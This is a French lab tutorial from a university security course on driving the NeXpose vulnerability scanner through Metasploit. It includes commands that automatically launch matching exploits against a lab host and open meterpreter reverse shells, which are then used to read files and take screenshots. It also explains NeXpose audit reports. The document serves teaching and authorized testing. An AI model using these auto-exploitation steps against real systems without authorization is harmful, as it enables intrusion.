Sabrine KloujSécurité des Réseaux et des Contenus MultimédiaM2 RIP Université Paris Descartes 2011- 2012 |
![]() |
L’origine du mot hacker remonte à l’arrivée du premier ordinateur au MIT (Massachusetts Institute of Technology, université américaine située à Cambridge): l’IBM 704.
Cet ordinateur devient rapidement la proie d’étudiants passionnés qui vont pousser la machine à bout. A l’époque, on qualifia leurs travaux avec le terme hacking qui était le fait d’utiliser une machine ou une technologie à des fins qui n’étaient pas prévus.
Aujourd’hui, le mot hacker désigne un grand spécialiste de l’informatique, que ce soit dans le domaine de la sécurité que celui de la programmation ou d’un quelconque autre domaine de l’informatique.
"La gestion des vulnérabilités est la pratique cyclique de l'identification, la classification, la restauration, et l'atténuation des vulnérabilités". Cette pratique se réfère généralement à des vulnérabilités logicielles dans les systèmes informatiques.
Les outils classiques utilisés pour identifier et classer les vulnérabilités connues sont les scanners de vulnérabilités. Ces outils recherchent des vulnérabilités connues et signalés par la communauté de sécurité, et qui généralement sont déjà fixés par les fournisseurs concernés avec des correctifs et mises à jour de sécurité.
Parmi ces scanners de vulnérabilités, nous citons NeXpose.
Metasploit était un projet open-source sur la sécurité informatique qui fournit des informations sur des vulnérabilités et l'aide à la pénétration de systèmes informatisés. Le plus connu des sous-projets est le Metasploit Framework (MSF), un outil pour le développement et l'exécution d'exploits contre une machine distante.
Aujourd'hui, nous allons voir comment utiliser Nexpose, un scanner de vulnérabilités open-source à travers Metasploit Framework.
Metasploit contient un plugin Nexpose qui nous permet de nous connecter au serveur Nexpose, faire un scan du système cible et importer les résultats d'analyse à Metasploit puis MSF va vérifier les exploits correspondant à ces vulnérabilités et les exécuter automatiquement si le système cible est vulnérable, puis nous proposer un shell interactif.
Environnement de test:
root@bt:~# wget http://ftp.us.debian.org/debian/pool/main/g/gcc-3.3/libstdc++5_3.3.6-20_i386.deb
--2011-07-23 14:06:35-- http://ftp.us.debian.org/debian/pool/main/g/gcc-3.3/libstdc++5_3.3.6-20_i386.deb
Resolving ftp.us.debian.org... 199.6.12.70, 35.9.37.225, 64.50.233.100, ...
Connecting to ftp.us.debian.org|199.6.12.70|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 311392 (304K) [application/octet-stream]
Saving to: `libstdc++5_3.3.6-20_i386.deb'
100%[======================================>] 311,392 56.2K/s in 5.4s
2011-07-23 14:06:45 (56.2 KB/s) - `libstdc++5_3.3.6-20_i386.deb' saved [311392/311392]
root@bt:~# dpkg -i libstdc++5_3.3.6-20_i386.deb
Selecting previously deselected package libstdc++5.
(Reading database ... 238105 files and directories currently installed.)
Unpacking libstdc++5 (from libstdc++5_3.3.6-20_i386.deb) ...
Setting up libstdc++5 (1:3.3.6-20) ...
Processing triggers for libc-bin ...
ldconfig deferred processing now taking place
Le binaire du serveur NeXpose se trouve au: http://www.rapid7.com/vulnerability-scanner.jsp
Pour ce tuto, j'ai téléchargé le binaire pour l'Ubuntu en 32 bit.
ATTENTION: NeXpose sevrer est exigent en ressources:
-- 4 Go de Mémoire et 10 Go d'espace disque minimum.
![]() | ![]() |
Suite au téléchargement de l'outil, vous recevrez un email contenant la clé d'activation de NeXpose.
Pour commencer, il faut se connecter à l'interface graphique proposée par l'outil au http://127.0.0.1:3780/login.html, insérer le code et finaliser l'activation.
Lancement du serveur:
root@bt:/opt/rapid7/nexpose/nsc# ./nsc.sh
root@bt:~# msfconsole
Commençons par vérifier que la console est bien connectée à une base de données de collecte.
msf > db_status
[*] postgresql connected to msf3
msf > load nexpose
msf > nexpose_connect SabrineKlouj:parisdescartes@127.0.0.1 ok
[*] Connecting to NexPose instance at 127.0.0.1:3780 with username Sabrineklouj.
...
msf > nexpose_scan -X 192.168.56.103
[*] Scanning 1 addresses with template pentest-audit in sets of 32
A la fin du scan, une liste des vulnérabilités s'affiche sous forme de sessions meterpreter numérotées.
Un meterpreter est un composant de metasploit sous forme de code qui s'injecte dans les fichiers dll du poste de la victime. Il permet d'établir une connexion inverse (reverse tcp) depuis la machine victime vers le pirate et donc ouvrir un accès shell.
Pour exploiter une vulnérabilité, il faut choisir le numéro de la session puis utiliser la commande:
msf > sessions -i <<Numéro de la session>>
Tapez <<?>> pour voir l'ensemble des commandes que nous pouvons utiliser.
Pour consulter les informations système de la machine victime:
meterpreter > sysinfo
Pour afficher l'arborescence dans laquelle nous nous positionnons:
meterpreter > pwd
Exploration d'un fichier sur la machine victime:
Nous avons créé un répertoire SabrineKlouj sous C:\ de la machine distante contenant un fichier texte ID.txt avec quelques informations dedans.
En utilisant certaines commandes unix comme cd (change directory), ls (list) ou cat (concat), j'ai réussi à accèder au fichier ID.txt et lire son contenu à depuis le poste Pirate.
Récupérer une capture d'écran de la machine Victime:
meterpreter > screenshot
nexpose_connect | Se connecter à une instance NeXpose démarré ( user:pass@host[:port] ) |
nexpose_activity | Afficher tout processus de scan actif sur l'instance NeXpose |
nexpose_scan | Lancer un scan NeXpose sur une plage IP spécifique et importer les résultats |
nexpose_disconnect | Se déconnecter d'une instance NeXpose active |
nexpose_discover | Lancer un scan pour un service de découverte minimal des machines. |
nexpose_dos | Lancer un scan qui contient des vérifications qui pourront nuire àdes services et des périphériques. |
nexpose_exhaustive | Lancer un scan qui couvre tous les ports TCP et les vérifications d'intégrité autorisées. |
nexpose_scan -h
OPTIONS:
-h menu d'aide
-n <opt> Nombre maximum des IPs à scanner à la fois (32 par défaut)
-s <opt> Le répertoire pour stocker les fichiers XML bruts de l'instance NeXpose
-t <opt> Le template de scan à utiliser (par défaut:pentest-audit options:full-audit,etc)
-v Afficher les informations de diagnostique sur le processus en cours de scan
-x Lancer automatiquement tous les exploits en faisant la correspondance entre les références après le scan.
-X Lancer automatiquement tous les exploits en faisant la correspondance entre les références et les ports après le scan
-P Garder les données du scan sur le serveur.
NeXpose propose une interface web qui permet à son tour de scanner une ou plusieurs machines distantes et de détecter les failles.
Elle permet aussi et essentiellement de générer un rapport sur la liste des vulnérabilités, leurs criticités ainsi que les correctifs pour remédier à ces faiblesses.
* Configuration du site à auditer:
1) Au niveau de l'onglet "Home", cliquez sur "New Static Site".
2) Saisissez les IPs des machines à scanner.
3) Sélectionnez le type du scan à appliquer. ("Full audit" dans notre cas)
* Scan du site distant:
1) Cliquez sur la petite flèche blanche (au milieu du cadre vert).
Cliquez sur "Start Now" pour lancer le scan.
2) A la fin du scan, cliquez sue le nom de la machine audité pour explorer ses vulnérabilités.
* Génération du rapport d'Audit:
Dans la même page des vulnérabilités, vous trouverez le bouton "Create asset report".
Ce dernier vous permettra de générer un rapport d'audit regroupant l'ensemble des vulnérabilités et les correctifs correspondants.
Pour toutes vos questions, n'hésitez pas à me contacter sur sabrine.klouj@etu.parisdescartes.fr